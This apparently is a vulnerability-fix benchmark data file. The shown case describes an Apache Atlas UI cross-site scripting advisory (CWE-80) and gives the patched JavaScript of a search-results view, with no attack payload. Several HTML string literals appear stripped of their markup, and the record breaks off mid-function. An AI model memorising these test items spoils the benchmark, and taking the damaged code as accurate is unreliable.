'index.html.tpl'],\n [distPath + '/migration-status.html']: [modulesPath + 'migration-status.html.tpl']\n }\n }\n }\n });\n\n // Dynamically add copy-task using npmcopy\n var npmCopy = grunt.config.get('npmcopy'),\n libFiles = [],\n createPath = function(options) {\n var obj = options.obj,\n fileName = options.fileName,\n pathPrefix = options.pathPrefix;\n if (obj.length) {\n for (var i in obj) {\n createPath({\n 'obj': obj[i],\n 'libFiles': options.libFiles,\n 'pathPrefix': pathPrefix,\n 'fileName': fileName\n });\n }\n } else {\n if (fileName == \"*\") {\n options.libFiles.push(obj);\n } else {\n key = Object.keys(obj);\n options.libFiles.push({ 'src': pathPrefix.srcPrefix + key + \"/\" + fileName, 'dest': pathPrefix.destPrefix + obj[key] + \"/\" + fileName });\n }\n }\n };\n\n for (var key in npmCopy) {\n var options = npmCopy[key].options,\n files = npmCopy[key].files;\n for (var fileName in files) {\n createPath({\n 'obj': files[fileName],\n 'libFiles': libFiles,\n 'pathPrefix': options,\n 'fileName': fileName\n });\n }\n };\n grunt.config.set('copy.libs', { files: libFiles });\n\n grunt.loadNpmTasks('grunt-contrib-connect');\n grunt.loadNpmTasks('grunt-middleware-proxy');\n grunt.loadNpmTasks('grunt-contrib-watch');\n grunt.loadNpmTasks('grunt-contrib-uglify');\n grunt.loadNpmTasks('grunt-contrib-cssmin');\n grunt.loadNpmTasks('grunt-contrib-htmlmin');\n grunt.loadNpmTasks('grunt-template');\n grunt.loadNpmTasks('grunt-contrib-rename');\n\n require('load-grunt-tasks')(grunt);\n\n grunt.registerTask('dev', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'template',\n 'setupProxies:server',\n 'connect:server',\n 'watch'\n ]);\n\n grunt.registerTask('build', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'template'\n ]);\n\n grunt.registerTask('dev-minify', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'uglify',\n 'cssmin',\n 'template',\n 'setupProxies:server',\n 'connect:server',\n 'watch'\n ]);\n\n grunt.registerTask('build-minify', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'uglify',\n 'cssmin',\n 'template'\n ]);\n};" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "function" +function_lines = [[34, 1474]] +id = "apache-atlas-3f751971e2a63d2e" +language = "javascript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboardv2/public/js/views/search/SearchResultLayoutView.js" +post_fix = "], function(require, Backbone, tableDragger, SearchResultLayoutViewTmpl, Modal, VEntity, Utils, Globals, VSearchList, VCommon, CommonViewFunction, Messages, Enums, UrlLinks, platform, VDownloadList) {\n 'use strict';\n\n var SearchResultLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends SearchResultLayoutView */\n {\n _viewName: 'SearchResultLayoutView',\n\n template: SearchResultLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n RTagLayoutView: \"#r_tagLayoutView\",\n RSearchLayoutView: \"#r_searchLayoutView\",\n REntityTableLayoutView: \"#r_searchResultTableLayoutView\",\n RSearchQuery: '#r_searchQuery'\n },\n\n /** ui selector cache */\n ui: {\n tagClick: '[data-id=\"tagClick\"]',\n termClick: '[data-id=\"termClick\"]',\n addTag: '[data-id=\"addTag\"]',\n addTerm: '[data-id=\"addTerm\"]',\n paginationDiv: '[data-id=\"paginationDiv\"]',\n previousData: \"[data-id='previousData']\",\n nextData: \"[data-id='nextData']\",\n pageRecordText: \"[data-id='pageRecordText']\",\n addAssignTag: \"[data-id='addAssignTag']\",\n addAssignTerm: \"[data-id='addAssignTerm']\",\n createEntity: \"[data-id='createEntity']\",\n checkDeletedEntity: \"[data-id='checkDeletedEntity']\",\n checkSubClassification: \"[data-id='checkSubClassification']\",\n checkSubType: \"[data-id='checkSubType']\",\n colManager: \"[data-id='colManager']\",\n containerCheckBox: \"[data-id='containerCheckBox']\",\n columnEmptyInfo: \"[data-id='columnEmptyInfo']\",\n showPage: \"[data-id='showPage']\",\n gotoPage: \"[data-id='gotoPage']\",\n gotoPagebtn: \"[data-id='gotoPagebtn']\",\n activePage: \"[data-id='activePage']\",\n excludeSubtypes: \".exclude-subtypes\",\n excludeSubClassifications: \".exclude-subclassifications\",\n downloadResults: \"[data-id='downloadSearchResult']\"\n },\n templateHelpers: function() {\n return {\n entityCreate: Globals.entityCreate,\n searchType: this.searchType,\n fromView: this.fromView,\n isGlossaryView: this.fromView == \"glossary\",\n isSearchTab: Utils.getUrlState.isSearchTab(),\n isProfileDBView: this.options.profileDBView\n };\n },\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"click \" + this.ui.tagClick] = function(e) {\n var scope = $(e.currentTarget);\n if (e.target.nodeName.toLocaleLowerCase() == \"i\") {\n this.onClickTagCross(e);\n } else {\n this.triggerUrl({\n url: '#!/tag/tagAttribute/' + scope.text().split('@')[0],\n urlParams: null,\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: null\n });\n }\n };\n events[\"click \" + this.ui.termClick] = function(e) {\n var scope = $(e.currentTarget);\n if (e.target.nodeName.toLocaleLowerCase() == \"i\") {\n this.onClickTermCross(e);\n } else {\n this.triggerUrl({\n url: '#!/glossary/' + scope.find('i').data('termguid'),\n urlParams: { gType: \"term\", viewType: \"term\", fromView: \"entity\" },\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: null\n });\n }\n };\n events[\"keyup \" + this.ui.gotoPage] = function(e) {\n var code = e.which,\n goToPage = parseInt(e.currentTarget.value);\n if (e.currentTarget.value) {\n that.ui.gotoPagebtn.attr('disabled', false);\n } else {\n that.ui.gotoPagebtn.attr('disabled', true);\n }\n if (code == 13) {\n if (e.currentTarget.value) {\n that.gotoPagebtn();\n }\n }\n };\n events[\"change \" + this.ui.showPage] = 'changePageLimit';\n events[\"click \" + this.ui.gotoPagebtn] = 'gotoPagebtn';\n events[\"click \" + this.ui.addTag] = 'onClickAddTag';\n events[\"click \" + this.ui.addTerm] = 'onClickAddTermBtn';\n events[\"click \" + this.ui.addAssignTag] = 'onClickAddTag';\n events[\"click \" + this.ui.addAssignTerm] = 'onClickAddTermBtn';\n events[\"click \" + this.ui.nextData] = \"onClicknextData\";\n events[\"click \" + this.ui.previousData] = \"onClickpreviousData\";\n events[\"click \" + this.ui.createEntity] = 'onClickCreateEntity';\n events[\"click \" + this.ui.checkDeletedEntity] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.checkSubClassification] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.checkSubType] = 'onCheckExcludeIncludeResult';\n events[\"click \" + this.ui.downloadResults] = 'onDownloadSearchResults';\n return events;\n },\n /**\n * intialize a new SearchResultLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'guid', 'initialView', 'isTypeTagNotExists', 'classificationDefCollection', 'entityDefCollection', 'typeHeaders', 'searchVent', 'enumDefCollection', 'tagCollection', 'searchTableColumns', 'isTableDropDisable', 'fromView', 'glossaryCollection', 'termName', 'businessMetadataDefCollection', 'profileDBView', 'exportVent'));\n this.entityModel = new VEntity();\n this.searchCollection = new VSearchList();\n this.downloadSearchResults = new VDownloadList();\n this.limit = 25;\n this.asyncFetchCounter = 0;\n this.offset = 0;\n this.bindEvents();\n this.multiSelectEntity = [];\n this.activeEntityCountSelected = 0;\n this.searchType = 'Basic Search';\n this.tableColumnsLabelMap = {};\n this.downloadSearchResultsParams = {\n searchParameters: {},\n attributeLabelMap: {}\n };\n this.columnOrder = null;\n this.defaultColumns = [\"selected\", \"name\", \"description\", \"typeName\", \"owner\", \"tag\", \"term\"];\n if (this.value) {\n if (this.value.searchType && this.value.searchType == 'dsl') {\n this.searchType = 'Advanced Search';\n }\n if (this.value.pageLimit) {\n var pageLimit = parseInt(this.value.pageLimit, 10);\n if (_.isNaN(pageLimit) || pageLimit == 0 || pageLimit <= -1) {\n this.value.pageLimit = this.limit;\n this.triggerUrl();\n } else {\n this.limit = pageLimit;\n }\n }\n if (this.value.pageOffset) {\n var pageOffset = parseInt(this.value.pageOffset, 10);\n if (_.isNaN(pageOffset) || pageLimit <= -1) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n } else {\n this.offset = pageOffset;\n }\n }\n };\n if (platform.name === \"IE\") {\n this.isTableDropDisable = true;\n }\n this.businessMetadataAttributes = [];\n },\n bindEvents: function() {\n var that = this;\n this.onClickLoadMore();\n this.listenTo(this.searchCollection, 'backgrid:selected', function(model, checked) {\n this.multiSelectEntity = [];\n that.activeEntityCountSelected = 0;\n if (checked === true) {\n model.set(\"isEnable\", true);\n } else {\n model.set(\"isEnable\", false);\n }\n this.searchCollection.find(function(item) {\n if (item.get('isEnable')) {\n var obj = item.toJSON();\n if (item.get('status') === 'ACTIVE') {\n that.activeEntityCountSelected++;\n }\n that.multiSelectEntity.push({\n id: obj.guid,\n model: obj\n });\n }\n });\n this.updateMultiSelect();\n });\n this.listenTo(this.searchCollection, \"error\", function(model, response) {\n this.hideLoader({ type: 'error' });\n if (response.readyState === 0) {\n Utils.notifyError({\n content: \"Request aborted\"\n });\n return;\n }\n var responseJSON = response && response.responseJSON ? response.responseJSON : null,\n errorText = (responseJSON && (responseJSON.errorMessage || responseJSON.message || responseJSON.error || responseJSON.msgDesc)) || 'Something went wrong';\n if (errorText) {\n Utils.notifyError({\n content: errorText\n });\n this.$('.searchTable > .well').html('
    ' + _.escape(errorText) + '
    ')\n }\n }, this);\n this.listenTo(this.searchCollection, \"state-changed\", function(state) {\n if (Utils.getUrlState.isSearchTab()) {\n this.updateColumnList(state);\n var excludeDefaultColumn = [];\n if (this.value && this.value.type) {\n excludeDefaultColumn = _.difference(this.searchTableColumns[this.value.type], this.defaultColumns);\n if (this.searchTableColumns[this.value.type] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n }\n this.downloadSearchResultsParams.searchParameters.attributes = excludeDefaultColumn;\n this.validateAttributeLabelMap();\n this.columnOrder = this.getColumnOrder(this.REntityTableLayoutView.$el.find('.colSort th.renderable'));\n this.triggerUrl();\n var attributes = this.searchCollection.filterObj.attributes;\n if ((excludeDefaultColumn && attributes) && (excludeDefaultColumn.length > attributes.length || _.difference(excludeDefaultColumn, attributes).length)) {\n this.fetchCollection(this.value);\n }\n }\n }, this);\n this.listenTo(this.searchVent, \"search:refresh\", function(model, response) {\n this.updateColumnList();\n this.fetchCollection();\n }, this);\n this.listenTo(this.searchCollection, \"backgrid:sorted\", function(model, response) {\n this.checkTableFetch();\n }, this)\n },\n onRender: function() {\n var that = this;\n this.checkEntityImage = {};\n this.commonTableOptions = {\n collection: this.searchCollection,\n includePagination: false,\n includeFooterRecords: false,\n includeColumnManager: (Utils.getUrlState.isSearchTab() && this.value && this.value.searchType === \"basic\" && !this.profileDBView ? true : false),\n includeOrderAbleColumns: false,\n includeSizeAbleColumns: false,\n includeTableLoader: false,\n includeAtlasTableSorting: true,\n showDefaultTableSorted: true,\n updateFullCollectionManually: true,\n columnOpts: {\n opts: {\n initialColumnsVisible: null,\n saveState: false\n },\n visibilityControlOpts: {\n buttonTemplate: _.template(\"\")\n },\n el: this.ui.colManager\n },\n gridOpts: {\n emptyText: 'No Records found!',\n className: 'table table-hover backgrid table-quickMenu colSort'\n },\n sortOpts: {\n sortColumn: \"name\",\n sortDirection: \"ascending\"\n },\n filterOpts: {},\n paginatorOpts: {}\n };\n if (!this.initialView) {\n var value = {},\n that = this;\n if (this.value) {\n value = this.value;\n if (value && value.includeDE) {\n this.ui.checkDeletedEntity.prop('checked', true);\n }\n if (value && value.excludeSC) {\n this.ui.checkSubClassification.prop('checked', true);\n }\n if (value && value.excludeST) {\n this.ui.checkSubType.prop('checked', true);\n }\n\n } else {\n value = {\n 'query': null,\n 'searchType': 'basic'\n };\n }\n this.updateColumnList();\n if (this.value && this.searchTableColumns && this.searchTableColumns[this.value.type] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n this.fetchCollection(value, _.extend({ 'fromUrl': true }, (this.value && this.value.pageOffset ? { 'next': true } : null)));\n this.ui.showPage.select2({\n data: _.sortBy(_.union([25, 50, 100, 150, 200, 250, 300, 350, 400, 450, 500], [this.limit])),\n tags: true,\n dropdownCssClass: \"number-input\",\n multiple: false\n });\n if (this.value && this.value.pageLimit) {\n this.ui.showPage.val(this.limit).trigger('change', { \"skipViewChange\": true });\n }\n } else {\n if (Globals.entityTypeConfList) {\n this.$(\".entityLink\").show();\n }\n if (this.isTypeTagNotExists) {\n Utils.notifyError({\n content: Messages.search.notExists\n });\n }\n }\n },\n getColumnOrderWithPosition: function() {\n var that = this;\n return _.map(that.columnOrder, function(value, key) {\n return key + \"::\" + value;\n }).join(\",\");\n },\n triggerUrl: function(options) {\n Utils.setUrl(_.extend({\n url: Utils.getUrlState.getQueryUrl().queyParams[0],\n urlParams: this.columnOrder ? _.extend(this.value, { 'uiParameters': this.getColumnOrderWithPosition() }) : this.value,\n mergeBrowserUrl: Utils.getUrlState.isGlossaryTab()?true:false,\n trigger: false,\n updateTabState: true\n }, options));\n },\n updateMultiSelect: function() {\n var addTermTagButton = this.$('.multiSelectTag,.multiSelectTerm');\n if (this.activeEntityCountSelected > 0) {\n addTermTagButton.show();\n } else {\n addTermTagButton.hide();\n }\n },\n updateColumnList: function(updatedList) {\n if (updatedList) {\n var listOfColumns = [];\n _.map(updatedList, function(obj) {\n var key = obj.name;\n if (obj.renderable) {\n listOfColumns.push(obj.name);\n }\n });\n listOfColumns = _.sortBy(listOfColumns);\n this.value.attributes = listOfColumns.length ? listOfColumns.join(\",\") : null;\n if (this.value && (this.value.type || this.value.tag) && this.searchTableColumns) {\n this.searchTableColumns[this.value.type || this.value.tag] = listOfColumns.length ? listOfColumns : null;\n }\n } else if (this.value && (this.value.type || this.value.tag) && this.searchTableColumns && this.value.attributes) {\n this.searchTableColumns[this.value.type || this.value.tag] = this.value.attributes.split(\",\");\n }\n },\n fetchCollection: function(value, options) {\n var that = this,\n isPostMethod = (this.value && this.value.searchType === \"basic\"),\n isSearchTab = Utils.getUrlState.isSearchTab(),\n tagFilters = null,\n entityFilters = null;\n that.activeEntityCountSelected = 0;\n that.updateMultiSelect();\n if (isSearchTab) {\n tagFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.tagFilters);\n entityFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.entityFilters);\n }\n\n if (isPostMethod && isSearchTab) {\n var excludeDefaultColumn = ((this.value.type || this.value.tag) && this.searchTableColumns) ? _.difference(this.searchTableColumns[this.value.type || this.value.tag], this.defaultColumns) : null,\n filterObj = {\n 'entityFilters': entityFilters,\n 'tagFilters': tagFilters,\n 'attributes': excludeDefaultColumn ? excludeDefaultColumn : null\n };\n }\n\n this.showLoader();\n if (Globals.searchApiCallRef && Globals.searchApiCallRef.readyState === 1) {\n Globals.searchApiCallRef.abort();\n }\n var apiObj = {\n skipDefaultError: true,\n sort: false,\n success: function(dataOrCollection, response) {\n if (that.isDestroyed) {\n return;\n }\n Globals.searchApiCallRef = undefined;\n var isFirstPage = that.offset === 0,\n dataLength = 0,\n goToPage = that.ui.gotoPage.val();\n that.ui.gotoPage.val('');\n that.ui.gotoPage.parent().removeClass('has-error');\n that.ui.gotoPagebtn.prop(\"disabled\", true);\n if (!(that.ui.pageRecordText instanceof jQuery)) {\n return;\n }\n if (isPostMethod && dataOrCollection && dataOrCollection.entities) {\n dataLength = dataOrCollection.entities.length;\n } else {\n dataLength = dataOrCollection.length;\n }\n\n if (!dataLength && that.offset >= that.limit && ((options && options.next) || goToPage) && (options && !options.fromUrl)) {\n /* User clicks on next button and server returns\n empty response then disabled the next button without rendering table*/\n\n that.hideLoader();\n var pageNumber = that.activePage + 1;\n if (goToPage) {\n pageNumber = goToPage;\n that.offset = (that.activePage - 1) * that.limit;\n } else {\n that.finalPage = that.activePage;\n that.ui.nextData.attr('disabled', true);\n that.offset = that.offset - that.limit;\n }\n if (that.value) {\n that.value.pageOffset = that.offset;\n that.triggerUrl();\n }\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: pageNumber, sup: true }) + ' page'\n });\n return;\n }\n if (isPostMethod) {\n Utils.findAndMergeRefEntity({\n attributeObject: dataOrCollection.entities,\n referredEntities: dataOrCollection.referredEntities\n });\n that.searchCollection.reset(dataOrCollection.entities, { silent: true });\n that.searchCollection.fullCollection.reset(dataOrCollection.entities, { silent: true });\n }\n\n\n /*Next button check.\n It's outside of Previous button else condition\n because when user comes from 2 page to 1 page than we need to check next button.*/\n if (dataLength < that.limit) {\n that.ui.nextData.attr('disabled', true);\n } else {\n that.ui.nextData.attr('disabled', false);\n }\n\n if (isFirstPage && (!dataLength || dataLength < that.limit)) {\n that.ui.paginationDiv.hide();\n } else {\n that.ui.paginationDiv.show();\n }\n\n // Previous button check.\n if (isFirstPage) {\n that.ui.previousData.attr('disabled', true);\n that.pageFrom = 1;\n that.pageTo = that.limit;\n } else {\n that.ui.previousData.attr('disabled', false);\n }\n\n if (options && options.next) {\n //on next click, adding \"1\" for showing the another records.\n that.pageTo = that.offset + that.limit;\n that.pageFrom = that.offset + 1;\n } else if (!isFirstPage && options && options.previous) {\n that.pageTo = that.pageTo - that.limit;\n that.pageFrom = (that.pageTo - that.limit) + 1;\n }\n that.ui.pageRecordText.html(\"Showing \" + that.searchCollection.models.length + \" records From \" + that.pageFrom + \" - \" + that.pageTo);\n that.activePage = Math.round(that.pageTo / that.limit);\n that.ui.activePage.attr('title', \"Page \" + that.activePage);\n that.ui.activePage.text(that.activePage);\n that.renderTableLayoutView();\n that.multiSelectEntity = [];\n\n if (dataLength > 0) {\n that.$('.searchTable').removeClass('noData')\n }\n\n if (Utils.getUrlState.isSearchTab() && value && !that.profileDBView) {\n var searchString = 'Results for: ' + CommonViewFunction.generateQueryOfFilter(that.value) + \"\";\n if (Globals.entityCreate && Globals.entityTypeConfList && Utils.getUrlState.isSearchTab()) {\n searchString += \"

    If you do not find the entity in search result below then you can\" + ' create new entity

    ';\n }\n that.$('.searchResult').html(searchString);\n }\n if (dataOrCollection.approximateCount || dataOrCollection.length) {\n that.ui.downloadResults.show();\n } else {\n that.ui.downloadResults.hide();\n }\n },\n silent: true,\n reset: true\n }\n if (this.value) {\n var checkBoxValue = {\n 'excludeDeletedEntities': (this.value.includeDE ? false : true),\n 'includeSubClassifications': (this.value.excludeSC ? false : true),\n 'includeSubTypes': (this.value.excludeST ? false : true),\n 'includeClassificationAttributes': true // server will return classication details with guid\n }\n }\n if (value) {\n if (value.searchType) {\n this.searchCollection.url = UrlLinks.searchApiUrl(value.searchType);\n }\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset, 'query': _.trim(value.query), 'typeName': value.type || null, 'classification': value.tag || null, 'termName': value.term || null });\n if (this.profileDBView && value.typeName && value.guid) {\n var profileParam = {};\n profileParam['guid'] = value.guid;\n profileParam['relation'] = value.typeName === 'hive_db' ? '__hive_table.db' : '__hbase_table.namespace';\n profileParam['sortBy'] = 'name';\n profileParam['sortOrder'] = 'ASCENDING';\n _.extend(this.searchCollection.queryParams, profileParam);\n }\n if (isPostMethod) {\n this.searchCollection.filterObj = _.extend({}, filterObj);\n apiObj['data'] = _.extend(checkBoxValue, filterObj, _.pick(this.searchCollection.queryParams, 'query', 'excludeDeletedEntities', 'limit', 'offset', 'typeName', 'classification', 'termName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n this.searchCollection.filterObj = null;\n if (this.profileDBView) {\n _.extend(this.searchCollection.queryParams, checkBoxValue);\n }\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n } else {\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset });\n if (isPostMethod) {\n apiObj['data'] = _.extend(checkBoxValue, filterObj, _.pick(this.searchCollection.queryParams, 'query', 'excludeDeletedEntities', 'limit', 'offset', 'typeName', 'classification', 'termName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n if (this.profileDBView) {\n _.extend(this.searchCollection.queryParams, checkBoxValue);\n }\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n }\n this.downloadSearchResultsParams.searchParameters = apiObj.data;\n this.generateBusinessMetadataAttrList();\n },\n tableRender: function(options) {\n var that = this,\n savedColumnOrder = options.order,\n TableLayout = options.table,\n columnCollection = Backgrid.Columns.extend({\n sortKey: \"displayOrder\",\n className: \"my-awesome-css-animated-grid\",\n comparator: function(item) {\n return item.get(this.sortKey) || 999;\n },\n setPositions: function() {\n _.each(this.models, function(model, index) {\n model.set(\"displayOrder\", (savedColumnOrder == null ? index : parseInt(savedColumnOrder[model.get('label')])) + 1, { silent: true });\n });\n return this;\n }\n });\n var columns = new columnCollection((that.searchCollection.dynamicTable ? that.getDaynamicColumns(that.searchCollection.toJSON()) : that.getFixedDslColumn()));\n columns.setPositions().sort();\n if (this.searchType == \"Advanced Search\" && columns.length && that.searchCollection.length) {\n //for dsl search with Select clause, default column to be use as sorting\n var tableColumnNames = Object.keys(that.searchCollection.toJSON()[0]);\n that.commonTableOptions['sortOpts'] = {\n sortColumn: tableColumnNames[0],\n sortDirection: \"ascending\"\n };\n }\n var table = new TableLayout(_.extend({}, that.commonTableOptions, {\n columns: columns\n }));\n if (table.collection.length === 0) {\n that.$(\".searchTable\").addClass('noData');\n }\n if (!that.REntityTableLayoutView) {\n return;\n }\n if (!that.value) {\n that.value = that.options.value;\n }\n that.REntityTableLayoutView.show(table);\n if (that.value.searchType !== \"dsl\") {\n that.ui.containerCheckBox.show();\n } else {\n that.ui.containerCheckBox.hide();\n }\n that.$(\".ellipsis-with-margin .inputAssignTag\").hide();\n table.trigger(\"grid:refresh\"); /*Event fire when table rendered*/\n // that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(:first)').addClass('dragHandler');\n if (that.isTableDropDisable !== true) {\n var tableDropFunction = function(from, to, el) {\n tableDragger(document.querySelector(\".colSort\")).destroy();\n that.columnOrder = that.getColumnOrder(el.querySelectorAll('th.renderable'));\n that.triggerUrl();\n that.tableRender({ \"order\": that.columnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n }\n that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(.select-all-header-cell)').addClass('dragHandler');\n tableDragger(document.querySelector(\".colSort\"), { dragHandler: \".dragHandler\" }).on('drop', tableDropFunction);\n }\n if (Utils.getUrlState.isGlossaryTab()) {\n this.ui.excludeSubtypes.hide();\n this.ui.excludeSubClassifications.hide();\n } else if (this.fromView !== \"classification\") {\n this.ui.excludeSubtypes.show();\n this.ui.excludeSubClassifications.show();\n } else {\n this.ui.excludeSubtypes.hide();\n }\n },\n renderTableLayoutView: function(col) {\n var that = this;\n require(['utils/TableLayout'], function(TableLayout) {\n // displayOrder added for column manager\n if (that.value.uiParameters) {\n var savedColumnOrder = _.object(that.value.uiParameters.split(',').map(function(a) {\n return a.split('::');\n })); // get Column position from string to object\n }\n\n that.tableRender({ \"order\": savedColumnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n });\n },\n generateAttributeLabelMap: function() {\n var that = this,\n params = this.downloadSearchResultsParams;\n if (params.searchParameters.attributes) {\n _.map(params.searchParameters.attributes, function(attr) {\n for (var label in that.tableColumnsLabelMap) {\n if (attr === that.tableColumnsLabelMap[label]) {\n params.attributeLabelMap[label] = that.tableColumnsLabelMap[label];\n }\n }\n });\n }\n },\n validateAttributeLabelMap: function() {\n var that = this,\n params = this.downloadSearchResultsParams;\n if (params.searchParameters.attributes.length !== 0) {\n _.map(params.searchParameters.attributes, function(attr) {\n for (var key in params.attributeLabelMap) {\n if (params.attributeLabelMap[key] !== attr) {\n delete params.attributeLabelMap[key];\n }\n }\n });\n } else {\n params.attributeLabelMap = {};\n }\n },\n generateBusinessMetadataAttrList: function() {\n var def = this.entityDefCollection.fullCollection.find({\n name: this.value.type,\n }),\n businessAttributeDefs,\n that = this;\n businessAttributeDefs = def ? def.get('businessAttributeDefs') : null;\n if (businessAttributeDefs) {\n _.each(\n businessAttributeDefs,\n function(businessMetadata, businessMetadataName) {\n _.each(businessMetadata, function(attr, index) {\n that.businessMetadataAttributes.push({\n name: businessMetadataName + '.' + attr.name,\n type: attr.typeName\n });\n });\n }\n );\n }\n },\n checkIsEditorValue: function(key) {\n var isEditorKey = false;\n if (this.businessMetadataAttributes.length) {\n _.each(this.businessMetadataAttributes, function(attr) {\n if (attr.name === key && attr.type === \"string\") {\n isEditorKey = true;\n return;\n };\n });\n }\n return isEditorKey;\n },\n getColumnOrder: function(arr) {\n var obj = {};\n for (var i = 0; i < arr.length; ++i) {\n var innerText = arr[i].innerText.trim();\n obj[(innerText == \"\" ? 'Select' : innerText)] = i;\n }\n return obj;\n },\n checkTableFetch: function() {\n if (this.asyncFetchCounter <= 0) {\n this.hideLoader();\n Utils.generatePopover({\n el: this.$('[data-id=\"showMoreLess\"]'),\n contentClass: 'popover-tag-term',\n viewFixedPopover: true,\n popoverOptions: {\n container: null,\n content: function() {\n return $(this).find('.popup-tag-term').children().clone();\n }\n }\n });\n }\n },\n getFixedDslColumn: function() {\n var that = this,\n nameCheck = 0,\n columnToShow = null,\n col = {};\n this.value = this.fromView === \"glossary\" ? this.value : Utils.getUrlState.getQueryParams() || this.value;\n if (this.value && this.value.searchType === \"basic\" && this.searchTableColumns && (this.searchTableColumns[this.value.type || this.value.tag] !== undefined)) {\n columnToShow = this.searchTableColumns[this.value.type || this.value.tag] == null ? [] : this.searchTableColumns[this.value.type || this.value.tag];\n }\n col['Check'] = {\n name: \"selected\",\n label: \"Select\",\n cell: \"select-row\",\n resizeable: false,\n orderable: false,\n renderable: (columnToShow ? _.includes(columnToShow, 'selected') : true),\n headerCell: \"select-all\"\n };\n\n\n col['name'] = {\n label: this.value && this.profileDBView ? \"Table Name\" : \"Name\",\n cell: \"html\",\n editable: false,\n resizeable: true,\n orderable: false,\n renderable: true,\n sortable: true,\n className: \"searchTableName\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON(),\n nameHtml = \"\",\n name = Utils.getName(obj);\n if (!obj.attributes || obj.attributes.serviceType === undefined) {\n if (Globals.serviceTypeMap[obj.typeName] === undefined && that.entityDefCollection) {\n var defObj = that.entityDefCollection.fullCollection.find({ name: obj.typeName });\n if (defObj) {\n Globals.serviceTypeMap[obj.typeName] = defObj.get('serviceType');\n }\n }\n } else if (Globals.serviceTypeMap[obj.typeName] === undefined) {\n Globals.serviceTypeMap[obj.typeName] = obj.attributes ? obj.attributes.serviceType : null;\n }\n obj.serviceType = Globals.serviceTypeMap[obj.typeName];\n if (obj.guid) {\n if (obj.guid == \"-1\") {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n } else {\n nameHtml = '' + name + '';\n }\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n nameHtml += '';\n nameHtml = '
    ' + nameHtml + '
    ';\n }\n var getImageData = function(options) {\n var imagePath = options.imagePath,\n returnImgUrl = null;\n that.checkEntityImage[model.get('guid')] = false;\n $.ajax({\n \"url\": imagePath,\n \"method\": \"get\",\n \"cache\": true\n })\n .always(function(data, status, xhr) {\n if (data.status == 404) {\n returnImgUrl = getImageData({\n \"imagePath\": Utils.getEntityIconPath({ entityData: obj, errorUrl: imagePath })\n });\n } else if (data) {\n that.checkEntityImage[model.get('guid')] = imagePath;\n returnImgUrl = imagePath;\n that.$(\"img[data-imgGuid='\" + obj.guid + \"']\").removeClass(\"searchTableLogoLoader\").attr(\"src\", imagePath);\n }\n });\n }\n var img = \"\";\n img = \"
    \";\n if (that.checkEntityImage[model.get('guid')] == undefined) {\n getImageData({ imagePath: Utils.getEntityIconPath({ entityData: obj }) });\n } else {\n if (that.checkEntityImage[model.get('guid')] != false) {\n img = \"
    \";\n }\n }\n return (img + nameHtml);\n }\n })\n };\n\n col['owner'] = {\n label: \"Owner\",\n cell: \"String\",\n editable: false,\n resizeable: true,\n orderable: true,\n renderable: true,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.attributes && obj.attributes.owner) {\n return obj.attributes.owner;\n }\n }\n })\n };\n if (this.value && this.profileDBView) {\n col['createTime'] = {\n label: \"Date Created\",\n cell: \"Html\",\n editable: false,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.attributes && obj.attributes.createTime) {\n return Utils.formatDate({ date: obj.attributes.createTime });\n } else {\n return '-'\n }\n }\n })\n }\n }\n if (this.value && !this.profileDBView) {\n col['description'] = {\n label: \"Description\",\n cell: \"String\",\n editable: false,\n resizeable: true,\n orderable: true,\n renderable: true,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && 